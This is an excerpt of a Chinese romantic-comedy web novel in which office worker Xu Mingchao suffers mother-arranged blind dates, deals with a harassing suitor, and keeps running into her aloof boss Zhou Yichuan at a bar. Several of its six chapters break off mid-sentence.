《相亲对象是我老板》 1. 第 1 章 《相亲对象是我老板》全本免费阅读 下班倒计时十五分钟,许明朝在工位上把键盘敲得差点起火。 【终于准点下班了一次…】 【狗逼老板真服了他了,光想着挣钱不想着怎么花吗??】 【天天拖着我们加班,真想冲到他办公室里打他一顿[怒]】 加班一个多礼拜,许明朝的怨气堪比邪剑仙,但出于良好的职业素养和高超的摸鱼技巧,她左眼看电脑屏幕,右眼透过玻璃偷瞄老板,在聊天框里疯狂输出,在工位上战战兢兢。 有种打工人平静的疯感。 对面是她的闺蜜方知渺。 一分钟… 两分钟…… 三分钟。 三分钟过去,方知渺还没回信息,许明朝心如死灰,面无表情地在聊天框里输入—— 【好安静,我以为我们永远有话讲。】 【饱饱,为什么不说话,是不爱我了吗?】 【不爱我也没关系,我会冷脸给你洗内裤。笔芯。】 许明朝用手拖住下巴,想吐槽的时候没人捧哏,难受。连准时下班这种喜事都突然间变得索然无味。 方知渺这死丫头,自从谈了男朋友,就再也没秒回过她。 许明朝看了眼办公室里还在看文件的工作机器,和毫无回音的聊天框。 唉。 十分钟后,微信头像终于跳了起来。 此时距离下班还有两分钟。 方知渺:【不好意思~亲爱的~刚刚在和男朋友打电话啦~】 许明朝:【无语.jpg】 方知渺:【对了,你上周那个相亲怎么样了?】 得,哪壶不开提哪壶。 许明朝看了眼时间,还有一分钟。 她在聊天框里输入:【电话和你说】 随即关闭了电脑,收拾东西准备下班。 自大学毕业以后,许明朝就陷入了花样百出的相亲。 那时候她还年轻,不知道相亲这两个字意味着什么。 直到对面说她太内向,要带着她去坐大摆锤,敲开她沉睡的心灵,她才明白原来世界是个巨大的精神病院。 “他真这么说啊?”电话那边的方知渺感到不可置信,有种手机里的段子突然照进现实的荒诞感。 “何止啊……”本来早就想和方知渺说这个事的,只是加了一周的班,硬是没找到的机会,现如今终于找到合适的时机,许明朝的吐槽犹如洪水终于找到释放的缺口。 他们的见面在一家餐厅,许明朝看见那人的那一刻,她差点转身逃走。 那人穿着Polo衫,肚子圆滚滚的鼓起,仿佛装了一个气球,脸盘子和他的肚子不相上下,那点稀疏又可怜的头发拿发胶抹得锃光瓦亮,甚至还没腋毛多。 这目测…… 没有四十也得三十五往上。 许明朝想起居委会大妈忽悠她的母亲徐女士的场景,说对方为人稳重、踏实,工作稳定,还特别有福气,会照顾人,家里还有房子,一套组合拳下来,哄得徐女士心花怒放,摁着她的头非要让她来见一面。 可不是嘛,稳重。 至于那天她为什么没有逃走,是因为对面早就看见了她,热情地朝她挥手。 她宛若上课开小差时被教导主任抓住的小羊崽子,迈着视死如归的步伐,走了过去。 许明朝走近餐桌,那个男人上下打量了她几眼,最后把目光聚焦在她的屁股,满意地点了点头。 许明朝后背涌起一阵鸡皮疙瘩,后悔刚刚为什么没有选择转身就走。 大叔,您多冒昧啊。 坐下之后,许明朝才发现,刚刚那个只是开胃菜。 她甚至都没怎么说话,但对方毫不在意,开启了独属于他的演讲会。 “王阿姨和我说你年纪轻,气色好,今天一见果然如此。” “你也知道我年纪不小了,所以我希望我们结婚以后尽快要孩子,要两个,男孩。” “刚刚你过来的时候,我看见你屁股大,我妈说了,屁股大好生养。” “对了,你生孩子的时候必须顺产的,我妈说了,刨妇产对小孩不好的。” “……” 张振宇讲得眉飞色舞,甚至连小孩的名字都想好了。 许明朝抽了抽嘴角,仿佛今天走进的不是餐厅,而是洞房。 呸呸呸… 什么洞房。 晦气。 “先生…”许明朝打断他。 张振宇正讲到兴头上,突然被打断,有些不爽,或许是出于第一次见面,要给对方留个好印象,没有发作。 许明朝自顾自继续讲:“您是想要两个孩子是吧,男孩。” 张振宇点点头:“是啊,有什么问题吗?” “是这样的,不瞒您说,我读大学的时候不懂事,未婚先孕,生了一对双胞胎,两个男孩。您看您年纪也大了,头发也没了,这生育能力嘛…恐怕也……正好我有两个儿子,不如……” 许明朝眼看着对方的脸色,从苍白,到铁青,再涨成猪肝色。 “这不是胡闹嘛!”张振宇把筷子往桌子上一甩,“我老张家三代单传,你让我养别人的儿子!” 他气急败坏,穿上外套就要走,嘴里絮絮叨叨没停过一秒钟。 “王阿姨也真是的,什么样的人都给我介绍过来。” “生过孩子的二手货,白送都不要的。” “这样的也给我介绍。” “还有,”他突然扭头瞪她,“我头发还在!” 许明朝看了眼他头顶那几缕摇摇欲坠的头发,露出一抹意味不明的笑容,“目前是还在的。” 气得张振宇转身就走。 才走出去没两步,许明朝忽然叫住他,“哎,等等。” 张振宇停下脚步,回头,愤怒中还带着一点期待。 他知道,现在的女孩子都排斥相亲,估摸着她刚刚的话都是故意气他的。 没关系,丫头,如果你好好跟我道个歉,我可以原谅你的莽撞。 “账单结一下。”许明朝无比冷静地说。 * “干得漂亮!”方知渺给她竖起大拇指,“所以后来他结账了吗?” “可别提了,那人连AA都不愿意,还说我浪费了他的时间,让我给他赔偿。后来餐厅里的人都过来看热闹,围了一圈,他被群众制裁了,才心不甘情不愿的和我AA……”许明朝翻了个白眼,“话说那顿饭我就没怎么吃,全都进了他的肚子……” 许明朝举着电话走出办公大楼,忽然发现前面的空地上乌泱泱围着好多人,许明朝透过人群的缝隙,看到有个人穿着黑色西装,手里捧着一大束鲜艳的红玫瑰。 她原本也想凑过去看热闹,但是视线上移,她在看清楚那张脸之后—— “卧槽!!!” 方知渺还不知道发生了什么事情,“怎么了?” “我这里有点事情,晚点和你说。”许明朝飞快地和方知渺说完,急忙挂了电话。 与此同时,那位玫瑰哥也透过人群发现了她。 救命… sos… 许明朝吓得抱头鼠窜,眼看着刚刚电话里的男主角抱着玫瑰花冲她走 2. 第 2 章 《相亲对象是我老板》全本免费阅读 许明朝屏住呼吸,双手接过周屹川递过来的手机。 徐槿女士的消息还在继续发送过来。 母上大人:【你孙阿姨介绍过来的,说是很优秀的男孩子】 母上大人:【就是话有点少,所以你要主动点,听见没?】 母上大人:【朝朝啊,咱过了年就25了,过了25就快要奔三了,你奔三了找对象就不容易了,所以该出手时就要出手,遇见好的就要拿下,女孩子也可以主动的】 许明朝想找条地缝钻进去,被玫瑰哥“追杀”这件事情就已经够抓马了,现在又遇到徐女士的催婚现场,这种私人的事情一天被撞到两回,让她原本就不敢在老板面前抬起的头,现在更抬不起来了。 恰逢司机刚好在路边停稳,许明朝拿回手机,留下一句“谢谢老板,老板再见”,就匆忙“逃”下了车。 几番波折,许明朝终于回到住处。 幸好她下车的地方离她租的房子不远,她干脆走路回家。 回到家的时候太阳刚好落山,她住在13层,透过窗,还能看到一点落日的余晖。 加了一周的班,终于熬到周末,许明朝像一根绷紧的弹簧,终于在此刻放松下来。 她脱掉外套,倒头就躺在床上,甚至连灯都懒得打开。 天色半明半暗,突然一阵困倦席卷而来,许明朝眼皮开始打架。 就在她快要睡过去的时候,微信突然连着弹出好几条消息,提示音把她那点瞌睡全吓醒了。 想当年,许明朝也曾是一个手机常年静音的冷酷女子,自从变成了社畜,这种日子就一去不复返了。 她怀疑自己是被公司CPU了,但是每当想要辞职的时候,看到银行发来的工资卡短信,她就安慰自己,算了算了,再忍忍,起码给钱是真大方啊。 许明朝想起当初拿到星越给的offer的时候激动地差点要跳起来,谁能想到三年后她已经变成了行尸走肉的僵尸。 她大学一毕业就进了星越,虽是top3本科毕业,但是在星越这种全球五百强企业面前,她的本科学历似乎并没占到优势。 那时候她抱着投投看的想法给星越集团市场部投递了简历,本以为重在参与,没想到却收到了星越集团的offer。 不过这个offer有点不太一样,因为不是她投的市场部发来的,而是总裁办发来的。 她被调岗了。 她还记得那时候hr是怎样夸奖这个岗位的—— “总裁办是我们公司唯一一个独立于各部门由总裁直接管理的部门,经手的都是我们公司最核心的项目。” “已经好几年都没有招人了,不知道为什么今年突然招人进去。” “许小姐,您真的很幸运,这个部门一般不公开招聘的,能进去的都是总裁的心腹。” “……” 她当时还以为是骗人的,调岗一般是往更差的地方调,哪有公司会往更好的地方调啊。 但现实就是这么,魔幻。 许明朝拿起手机,点开微信,给她发消息的人是张振宇。 工作太忙,这人忘删了。 许明朝给他备注的是【三毛大叔】,因为他头上的毛最多还剩三簇。 三毛大叔:【明朝妹妹,为什么看见我就跑?】 三毛大叔:【今天特意买了玫瑰花去你的公司接你,想给你一个惊喜。】 三毛大叔:【王阿姨都跟我说了,上次你说的话都是假的,看你那调皮样。】 三毛大叔:【没关系,咱们可以慢慢来,让你见识见识,哥也是一个浪漫的男人[玫瑰]】 短短几行字又勾起了许明朝噩梦一般的回忆,张振宇抱着红玫瑰追她的场景重新浮现在她眼前。 许明朝打了个冷颤,不不不,这种场景她不要再经历第二次,于是她在聊天框里输入—— 【不好意思,我觉得我们不合适。】 【希望不要再互相打扰。】 消息刚发出去,三毛大叔立刻给了回复。 三毛大叔:【明朝妹妹,不用害羞哈。】 三毛大叔:【你住在哪?玫瑰花我给你送过去。】 三毛大叔:【明朝妹妹会留我吃饭吗?[害羞]】 许明朝心里涌起一团怒火,忍着脾气回消息。 要不是怕居委会那个王大妈添油加醋地说她坏话,到时候进了徐女士的耳朵里又要来揪她小辫子,她早就破口大骂了。 许明朝:【不必了,我不需要。】 许明朝:【请别再来找我。】 许明朝原以为把话说清楚,过两天把这人删了,这事就过去了。 不料她的拒绝却让对方的反应异常激烈。 三毛大叔:【呵呵,拒绝我是因为找到了更有钱的了对吧?】 三毛大叔:【是不是那个开宾利的?那个男的一个月给你多少钱?】 三毛大叔:【你租的那个房子也是那个男人付的钱吧,不然你一个女的租得起市中心的房子?】 三毛大叔:【你们这些小骚/货,看见有钱男人就往上贴,被玩了几年就找我们这些老实人接盘。】 …… 许明朝冷静地打开录屏,把张振宇说的话录了下来,然后迅速拉黑、删除。 老实说,在星越的这两年,她还是学到了不少东西的。 譬如遇到这种情况,她不会选择和对方互骂浪费时间,而是在最短的时间内做出对自己最有利的选择。 突然整这么一出,许明朝完全清醒,望了望窗外,天已经完全黑了,城市的灯光点亮,繁华的A市夜晚如昼。 许明朝沿着床沿摸到床头的开关,开了灯,屋子里瞬间被光线填满。 她懒得自己做饭,拿起手机点了个外卖,等外卖的间隙,她拿平板开了一局游戏。 游戏打到一半,手机铃声忽然响起,许明朝以为是外卖到了,正想感叹今天的外卖小哥怎么这么高效,接通电话时,手机里传来了徐槿女士的声音。 许明朝:“……” 许明朝摘下了一边的耳机听电话,另一边的耳机还挂着。 左耳朵是来自于徐槿女士的相亲攻击,右耳朵是来自队友的挂机攻击,两拨人同时在她耳朵前炸开,她仿佛被夏天的蝉包围了,周围全是知了叫。 她虽然没听清徐槿在说什么,但是知道自己只要翻来覆去说三句话,“嗯”“好的”“知道了”。 这是她这么多年来和徐槿女士沟通的经验。 其实徐女士此次电话的目的,不用猜都知道,百分之九十九是关于那张推过来的微信名片。 事实正如她所料。 徐女士向她下达了最后通牒,今天必须把人家的微信加上。 许明 3. 第 3 章 《相亲对象是我老板》全本免费阅读 许明朝的消息发出去后,这次句号哥没有再秒回。 估计是破防了吧。 许明朝心里猜测。 她突然有种,被伤害了这么久,这次终于轮到她伤害别人的爽感,一不做二不休,许明朝把句号哥的备注改成了【短小破防哥】,趁着他伤心,她要狠狠地往他的伤口洒几把盐,好让他彻底死心。 许明朝趁热打铁,继续在聊天框里输入—— 【不要为了面子而吹牛哦,我可是要检查的】 【其实没达到要求也不要紧啦,小小的也很可爱嘛】 【只是我不喜欢小的,所以不好意思啦~】 许明朝发完信息,看着聊天框里的波浪符,感觉在某种程度上,自己也是贱贱的。 但是相亲嘛,图得不就是一个互相伤害。 过去她被伤害的太深,现在轮到她报/复/社/会/了。 平板还停留在游戏界面,惨淡的战绩都变得可爱了起来。 趁着外卖还没到,许明朝又开了一把游戏。 野排匹到小学生,许明朝也不生气。 小学生问她要三级头,给。 小学生问她要空投枪,给。 小学生一颗雷把她送上了西天。 许明朝:“……” 不是啊哥,这就有点过分了吧? 许明朝看着自己的盒子和游戏结算界面,要不是她今天心情好绝对开麦把那个小学生骂哭。 互联网上没有尊老爱幼,只有精神状态变幻莫测的嘴甜网友。 嘴甜网友许明朝目前精神状态稳定,但是下一秒—— 一旁的手机忽然弹出微信消息,许明朝哼着小曲儿,点开微信。 消息来自【短小破防哥】 ——【接受检查】 许明朝:? 她瞬间呆滞,还没反应过来目前的状况,【短小破防哥】向她发来了视频邀请。 许明朝:??? 她的大脑一片空白,瞬间宕机。 诶,不对,这剧本走向怎么和她想象的不一样? 许明朝愣在原地,差点呼吸停止,就这么看着手机在她手里震动。 一分钟后,因为迟迟没有响应,视频通话挂断了。 许明朝松了口气。 有种劫后余生的感觉是怎么回事? 短小破防哥:【?】 许明朝:“……” 汗流浃背了烙铁。 她发誓只是想让对方知难而退,不是真的要看对方的追追啊!!! 在许明朝自认为已经练就金刚不坏之身的时候,句号哥给了她重重一击。 她的自信被击碎了,她的防线被攻破了。 简言之,她破防了。 许明朝没有回复,而是直接关掉了微信。 太抽象了。 这个世界。 她要先冷静冷静。 许明朝把她的手机压在了枕头下面,生怕那哥一言不合又弹视频。 在离不开手机的二十一世纪,句号哥做到了让她离开,以至于外卖小哥给她打电话打了三次才接到,许明朝连连道歉。 许明朝外卖吃得心不在焉,脑子里全是刚刚那通视频电话,她草草吃完,去浴室洗漱。 洗完澡回来,为了转移注意力,许明朝打开平板追剧,剧集播了一半,她才堪堪进入状态,后面就迷迷糊糊睡了过去。 - 许明朝一整晚都没睡好,做了些奇奇怪怪的梦。 她梦见自己在火焰山上被人追杀,一转身发现追杀她的人是踏着风火轮的张振宇,她拼命跑,不知道跑了多久终于跑出了火焰山,下一秒,又突然出现在珠穆朗玛峰的山顶,山上刮着风雪,许明朝冷得腿直打哆嗦,风吹得她差点从山上滚落下去。 隐约看见前方好像站着一个人,许明朝走上前去,刚想问问他为什么出现在这里。 那人一转头,竟然是周屹川的脸。 许明朝突然就醒了过来。 一身的冷汗。 窗外的天蒙蒙亮,许明朝拿起手机看了下时间。 才五点半。 但睡意全无。 许明朝坐了起来,打开床头的小夜灯。 她的平板躺在她的床头,已经没电了。 手机的电已经满格,她拔掉手机上的充电线,插到平板上面。 她打开手机,点开微信,和句号哥的聊天还停留在昨天,句号哥的那个问号上面。 还好,后来句号哥没有再发消息过来。 被句号哥整治一番后,许明朝就把人家的备注改了回来。 她发誓,再也不玩儿抽象了。 许明朝躺在床头玩了会手机,夏天天亮的早,半小时过去,窗外已天光大亮。 日出东方,今天是个好天气。 难得周末醒得早,许明朝去楼下晨跑了一圈,回来冲个澡吃了个早饭,把房间里里外外收拾了一遍。 以前徐槿女士总说她的房间乱得像个狗窝,大学毕业以后,她以家离公司太远为由,从家里搬了出来,才摆脱了徐槿女士的紧箍咒。 然而,就算她搬了出来,还是没能逃过相亲的魔爪。 许明朝一忙起来就忘了看时间,转眼就到了中午,许明朝累的半死,去小区外面的馆子里吃了个午饭。 吃饱了回来就犯困,兴许是昨天晚上睡的实在太短,许明朝又补了个午觉。 这顿午觉睡得很安稳,没有做奇奇怪怪的梦,也没有被人打搅,许明朝一觉睡到了太阳快下山。 许明朝起床,拉开窗帘,房间被暖橙色的太阳光照得柔和了几分,打开窗,热空气涌进来,但已没有正午的时候滚烫。 手机忽然响起,许明朝心一紧,拿起手机一看,看到是方知渺的电话,又放松下来。 她揉了揉眉心,感觉自己得了手机ptsd。 电话接通,方知渺的声音传来,“干嘛呢?” “你周末不去和男朋友约会,怎么想起给我打电话来了,”许明朝刚睡醒,头还有点晕晕的,靠着窗台,看太阳落山,“你分手啦?” “呸呸呸…你少咒我。听你声音,怎么像刚起床啊?” 许明朝:“睡了个午觉。” “你午觉睡到现在?” “一言难尽。找我什么事儿啊?”许明朝知道方知渺什么德性,自从有了男朋友,无事不登三宝殿,等她回消息都要排队拿号,大好的周末主动给她打电话,肯定憋着什么事呢。 被许明朝一眼看穿,方知渺直接进入正题:“你知道禾川路那边新开了一家酒吧吗?” “不去。”十年的朋友,方知渺开个头,许明朝就知道她要讲什么。 “诶,我话还没说完呢。那家酒吧周末开业,全场五折,据说开业这天还请了男模来助兴……” 许明朝打断她:“方知渺,你男朋友知道你要去酒吧看男模吗?” “他加班呢,我跟他说我也加班。”方知渺倒是一点心理负担都没有,“再说了,我只是去看看,又不干嘛,你倒是可以做点什么…” 许明朝:“说实话,没兴趣。” “你就当是去那认识新朋友嘛,万一真泡到一个,不就不用被你妈追着让你去相亲了。”方知渺觉得这真是一个绝妙的好主意。 “酒吧里认识的能靠谱到哪去。” 方知渺笑了起来:“说得你妈给你介绍得那些有多靠谱似的哈哈哈哈哈……” “方!知!渺!” “错了错了,那你就当陪我去嘛~”方知渺撒起娇来,“你呀,也别过得这么清汤寡水,跟尼姑似的,我等会儿把地址发你,我们不见不散哈。” 方知渺说完,为了防止她拒绝,直接把电话挂了。 许明朝:“……” 挂了电话之后,方知渺立刻把地址给她发了过来。 过去一段时间里,许明朝除了加班就是在处理相亲的事情,想着难得有段自己的时间,出去透透气也好,便答应了下来。 她们约在六点,酒吧门口见面。 许明朝算了下时间,六点距离现在还有一个小时,过去半小时车程,她还有半小时的时间收拾自己。 许明朝不爱喝酒,对酒吧这种闹哄哄的场所也没什么兴趣,只简单换了身衣服,化了个淡妆,并没有用心打扮。 她早到了十分钟,没过一会儿,方知渺也到了。 “太阳打西边出来了,居然没迟到。”许明朝看着准点抵达门口的方知渺,还以为自己眼花了。 4. 第 4 章 《相亲对象是我老板》全本免费阅读 许明朝愣住了。 在这种场合遇到周屹川是她没想到的。 因为,印象中,她的老板是个工作狂。 她也偶在公司的茶水间听到过传闻,说周屹川可能是身上有什么隐疾,不方便。否则一个二十多岁的人,血气方刚,不仅身边一个女人都没有,连那些纸醉金迷的风月场所都不沾半分。 洁身自好到这种程度,让人难以相信。 如今在这里遇到,看来公司里的传言也不真嘛。 也是,周屹川又不是神,自然不能免俗。 许明朝想。 周屹川今天依旧穿着白衬衫和黑色西裤,只不过没有平日里那么—— 稳重? 许明朝想了半天,想出了这么个词。 他没有打领带,扣子解开了两颗,脖子往下,胸口以上,露出了一小片肌肤,两侧的衣袖向上卷起,挂在手肘的位置,三两条青筋顺着手往上,在冷白色的小臂上格外明显。 周屹川的手还握着许明朝的胳膊,待到她彻底站稳,他才松开。 许明朝没想着和周屹川搭话,她以为凭着周屹川冷淡的性子,和惜字如金的风格,在她打完招呼之后,只会高冷地甩下一个“嗯”字,或者直接不说话,点点头,他们的交流自此就结束了。 只是,今天的周屹川有点不一样。 慵懒,散漫。 平时不会出现在他身上的词,此刻许明朝却想这么形容他。 伴随着气氛暧昧的爵士乐,以及方知渺和蒋尘制造出来的嘈杂的背景音,许明朝却无比清晰地听到了周屹川的声音—— “你挺有兴致?” 漫不经心的语气,带着一点上扬的尾音。 隐隐约约的,许明朝还感受到了一点点,攻击性。 攻击性? 是她太敏感了吗? 许明朝大脑有点混沌,可能是接二连三的相亲让她脑子有点不清醒了。 老板向来只对工作感兴趣,从来不关注下属私生活,所以好端端攻击她干什么? 许明朝觉得是自己被整出精神衰弱了,应该找个时间去精神科挂个号看看。 许明朝:“饮食男女嘛,您不也一样。” 许明朝说这话的时候根本没过脑子,话一说完,她才觉得这话好像有点不对劲。 怎么感觉,自己也…隐隐约约的,带了□□味? 她是该去精神科看看了。 舞台处忽然传来响动,酒吧里的人越来越多了,几乎座无虚席,四周也有些骚动。 距离七点还有一刻钟,酒吧请的乐团已经来了,正在台上摆设乐器和设备。 听说是最近网上挺火的一乐团,怪不得周围的人这么激动。 后续周屹川没有再说什么,他走之前,许明朝似乎模模糊糊地听见了一声轻哼,但是四周太嘈杂,她不确定是不是自己听错了。 一旁的方知渺和蒋尘正吵得火热,没注意到她这边的小插曲。 因为乐团即将要上场,方知渺和蒋尘被吸引了部分注意力,暂时休战。 许明朝趁这间隙,把他们俩按回了卡座。 “你们俩…安静听会儿歌行吗?”许明朝不擅长劝架,她这句话,感觉说得也很无力。 “不是…方知渺,咱俩这事儿还没完呢!”蒋尘思来想去,还是觉得自己很委屈。 “我不是都跟你解释清楚了嘛,是朝朝非要我陪她来的。”方知渺向许明朝使了个眼色。 背锅侠许明朝会意,乖巧地点点头:“对。” “你也知道,她不是被她妈催相亲嘛,就想出来活动活动,万一碰上看对眼的,不就……皆大欢喜,是吧?” 许明朝:“是。” 蒋尘将信将疑:“就算你是陪许明朝来的,那你刚刚那句话是什么意思,什么叫‘把我男朋友也拉进去,省得他老说小说里都是骗人的’?” 方知渺:“……” 逆风局,打不了。 方知渺转变思路:“我还没说你呢,你跟我说加班,回头出现在酒吧是什么意思?” 蒋尘一听这话,倒是兴奋上了,仿佛吵半天就等方知渺问出这句话。 “加班提前结束了,我同事还问我要不要去新开的酒吧,我直接就拒绝了。结果,你猜怎么着?我同事微信告诉我,说在酒吧看见你女朋友了。我一开始还不信,人家后脚就把照片发给我了。”蒋尘拿起手机,调出那段聊天记录,当场翻给方知渺看,“方知渺,你在酒吧加班呢?” 方知渺:“……” “我这不是……加班正好也取消了嘛,然后朝朝找我,我就……” 蒋尘:“就这来这里找男模了?” 方知渺:“怎么可能,要消费满1888才给配男模呢。” 蒋尘:“我帮你冲一下消费额呗?” 方知渺眨眨眼睛:“真的吗?哥哥。” 蒋尘气血上涌,差点又要拎起方知渺的衣领,像拎小鸡那样把她拎起来,恰好时钟走到七点整,周围的灯光顿时暗了下来,大部分的光线都汇集到舞台处。 乐队准时开场,架子鼓的声音瞬间把气氛点燃,蒋尘的话也淹没在音乐声里。 方知渺爱凑热闹,这个乐队正好她也挺喜欢的。 伴随着音乐声,方知渺从座位上起来,“我先不和你吵了,让我先听完这支乐队。” 随着人群,方知渺潇洒离开卡座,走向了舞台的方向。 蒋尘一脸无语,但紧随其后。 转眼,卡座上只剩下许明朝孤零零的一人。 舞台方向涌过去很多人,周围骤然冷清了下来,灯光也调暗了,黑暗中,只有桌面上的两杯酒泛着莹莹的光泽。 许明朝拿起她的莫吉托喝了一口,萨克斯的声音借着音响充满了整个空间,她靠着椅背,听着台上女歌手缱绻勾人的歌声。 和方知渺不同,许明朝是典型的i人,喜欢沉浸在自己的世界里,方知渺则是哪里人多就往哪里挤。 许明朝看向舞台的方向,看到方知渺已经挤到了前排,正举着手机录视频。 她们两个天差地别的性格,竟也做了十年的好友。 现在正在唱的这首歌网上很火,许明朝也听过,女歌手唱到歌曲的高潮,人群也跟着一起唱。 许明朝坐在人群之外,没有加入,却也被歌曲感染了。 说实话她还挺喜欢这样的氛围的,慵懒,惬意,不用社交,不被打扰。 许明朝才沉溺于这种不被打扰的气氛之中,下一秒—— 她就被打扰了。 “姐姐,一个人吗?” 灯光太暗,她没有注意到这个人是什么时候过来的。 等到他的声音在耳边响起,那人已经在旁边的空座上坐下了。 许明朝打量了一下来搭讪的人,黑暗中,对方的脸看的不是很清楚,但是她能辨认出对方的服饰,标志性的镂空西装。 他是今晚酒吧请来的男模。 许明朝此刻超想打电话给方知 5. 第 5 章 《相亲对象是我老板》全本免费阅读 许明朝一连打了好几个喷嚏,那个男模一靠近她,她就不停地流眼泪。 许明朝泪意朦胧,顾不上礼不礼貌,用手挡住鼻子。 男模对她说:“姐姐,见到我就那么感动吗?” 许明朝:“不是,是我对你的香水过敏。” 说完,许明朝就逃离了卡座。 再不走,她今晚要交待在那了。 许明朝去了趟洗手间,出来之后在走廊尽头的窗口透了会气。 夜风吹过来,刚刚被香水味包围的眩晕感散了几分。 许明朝吹了会儿风,感觉自己缓过来了,准备回卡座,想来那个男模应该已经走了,她们的座位一个人都没有,一会儿被人占掉怎么办? 今天客人那么多。 许明朝正想调头原路返回,忽然手机弹出消息。 她停下脚步,拿出手机看消息。 其实出来逛逛之后,她被句号哥支配的恐惧就淡了许多,所以在收到微信消息的时候,她根本没预想过会是—— 句号哥:【再装死找你家长了】 许明朝:??? 不是哥,你怎么在这个时候诈尸??? 许明朝望了望四周,莫名有种心虚感。 她承认昨天对那个素未谋面的相亲对象确实不太礼貌,但是她这么长时间以来受过伤谁来补偿??? 再说,这位句号哥,你找人家家长的行为就礼貌了吗??? 许明朝在心里对这位句号哥进行了严厉地谴责,但是回到现实—— 许明朝:【哥,错了】 许明朝:【已老实,求放过】 大女人就是要,能屈能伸。 许明朝发完消息后深吸了一口气,她擦擦额角的汗,不敢想象她提出要看对方牛/子这件事捅到她妈那,她将遭遇什么样的毒打。 该死的句号哥,她昨天就该接受那个视频邀请,看他这气急败坏要找家长评理的模样,估摸着脱了裤子像小孩。 最多八公分,不用量了。 消息发出去后,句号哥没有回。 许明朝准备回卡座找方知渺商量一下该怎么办,一边转身一边自言自语:“呵呵,搞我心态是吧,我祝你这辈子都拉不出顺畅的——” 那个“shi”音还没落下,许明朝转身的瞬间,回头撞上一堵肉墙。 她的额头好像撞到什么东西,“啪——”一声,仿佛有什么东西掉在地毯上,发出沉闷的响声。 许明朝后退一步,才发现自己是把人家的手机撞掉了,她急忙道歉,“不好意思。” 蹲下身准备去捡那个手机,谁知那人竟快他一步,抢在她前面用手盖住了手机屏幕。 许明朝没摸到手机,而是摸到了人家的—— 手。 掌心传来温热的触感,她的手很小,只能盖住人家手的一半。 恍惚间,许明朝好像又闻到了那股熟悉的檀木香。 许明朝迅速收回手,同时起身,又道了一次歉,“对不起对不起,我不是故意…” 她一抬头,后半句话咽了回去。 她今天他妈的捅了周屹川的窝了?? 本来就烦,还一晚上撞两次老板,搞得她是来这里加班的一样。 小子,再让我撞见一次,小心找你要加班费。 “不是故意什么,摸我的手?”周屹川接上她的话茬,同时把手机屏幕摁灭,放回了口袋。 许明朝被噎得说不出话来,这话讲的,怎么好像搞得她在此地无银三百两。 我承认你是有那么点姿色,但是你的姿色在成为我老板的那一刻,已经荡然无存了。 许明朝小声辩解:“本来就不是故意的…” 周屹川:“我相信你。” 许明朝:“……” 越描越黑。 许明朝陷入窘迫,想怼他,可是对方是她老板,万一给她穿小鞋怎么办,正巧不远处有人叫她。 “明朝,你怎么在这里啊,害我找你老半天。” 许明朝歪头,越过周屹川的身躯,看见是方知渺来找她了。 大救星!!! 许明朝绕过周屹川往前走了两步,刚想给方知渺介绍她身后这个就是她老板,她一回头,才发现人直接走了。 留给她一个冷漠的背影。 呵呵,拽死你了。 许明朝抽了抽嘴角,往前走去与方知渺汇合。 “刚刚和你说话的是谁啊?”方知渺若有所思地盯着对方的背影看了几秒。 “我老板。” “你老板?!”方知渺一整个大震惊,“身材真好诶。” 虽然没看到脸,不过就冲这背影,高低得是个帅哥。 许明朝露出一副你还是太年轻的表情:“你和他共事一个月,就知道什么脸啊身材啊,都是浮云。” 许明朝摇摇头,星越一帮女员工就是被周屹川的那副皮囊骗了,天天羡慕他们总裁办的员工能和老板近距离接触。 真来总裁办带一个月,扒你一层皮不是问题。 “不过我怎么感觉他的背影有点熟悉,好像在哪见过。”方知渺回想起刚刚那个背影,她发誓刚刚盯着人家看绝不仅仅是因为身材好,是真的有点,似曾相识。 “方知渺,你的交友圈什么时候这么广泛了,和我老板都有交集?” 周屹川很低调,不喜欢出现在大众媒体当中,所以新闻对他的报道少之又少,他几乎不出现在公开场合,不存在方知渺在网上见过他的情况。 所以,就只能是现实中见过了。 但是她老板的社交圈……貌似和她们的搭不上边。 她也只有在工作的时候才会和他有交集。 “许明朝,你什么意思,看不起我是不是?”方知渺掐了一把许明朝的腰,没有过多纠结周屹川背影的事。 帅哥嘛,帅得都是千篇一律的。 可能和哪个男明星比较像吧。 两人打闹着回卡座。 男模果然已经走了,卡座上只有蒋尘一个人孤零零地坐在那。 蒋尘好像那个望妻石,坐在那看上去都快石化了。 看见方知渺走过来,他才又活了起来,“老婆。” 许明朝知道,他俩又和好了。 那个小有人气的乐团表演已经结束了,现在在台上唱歌的是普通酒吧歌手,围在舞台周围的人也散去了大半。 酒吧里热闹依旧,方知渺和蒋尘和好之后,又恢复了如胶似漆的状态,许明朝连话都插不进去,光看着这一对戏精表演。 在酒吧里坐到快十一二点,客人不减反增。 源源不断地年轻人从门口涌进来,衣着清凉火/ 6. 第 6 章 《相亲对象是我老板》全本免费阅读 对面显然被无语到了,隔了一会儿,发了一串省略号过来。 句号哥:【要看?】 许明朝:【不了不了】 许明朝:【看/片我另有其人】 许明朝:【从不拉良家妇男下海】 许明朝:【晚安,大牛哥[玫瑰]】 - 事情得到了妥善解决,甚至比许明朝预想中的还好了不少,许明朝原以为自己能睡个好觉,但是到了凌晨,脖子上越来越痒,痒到她最后受不了,打开灯去卫生间一看。 脖子上除了她的抓痕,还起了一小片红疹。 好像是过敏了。 许明朝回想起在酒吧的时候,让她觉得不太舒服的,只有那个男模的香水。 当时只觉得气味不喜欢,也没放在心上,没想到到了后半夜直接起红疹了。 许明朝痒的睡不着,连夜打车去医院挂水,到了早上才从医院回来。 周日的时光就在睡觉和打点滴中度过,好在到了周日晚上,红疹终于退了下来。 次日一早,许明朝按时去公司上班。 她一踏进公司的大门,就感觉到了来自周围人,若有似无的目光。 上周五下班的时候,张振宇捧着玫瑰花来她公司楼下堵她,她还当着所有人的面,忙里忙慌地不小心上了老板的车。 经过一个周末的发酵,估计是传得整个公司都知道了。 一路走上来,她感受了无数种目光,直到走进办公室坐下,她才有种从镁光灯下逃离的感觉。 兴许是过敏的原因,许明朝看上去格外憔悴。 同部门的何姐以为她被同事们的议论影响了,安慰她,“小许,别在意,他们就看个乐呵,过段时间就忘了。之前市场营销部撕小三那个事情,不也就是讲了段时间就被抛到脑后了。” “放心啦何姐,我没事。”许明朝挤出一抹笑容。 她倒不是担心同事们的议论,只是不知道张振宇那人还会不会做出别的事情来。 何姐似乎看出了她的担忧,“以后那个人不会来公司骚扰你了,你就安心工作吧。” 许明朝:“怎么说?” 她原本想着,如果张振宇再来找她麻烦,她就把之前的聊天记录录屏转发给徐女士,徐女士虽然平时对她多加管束,但爱女儿是真的,到时候让徐女士出面解决,可比她自己解决方便多了。 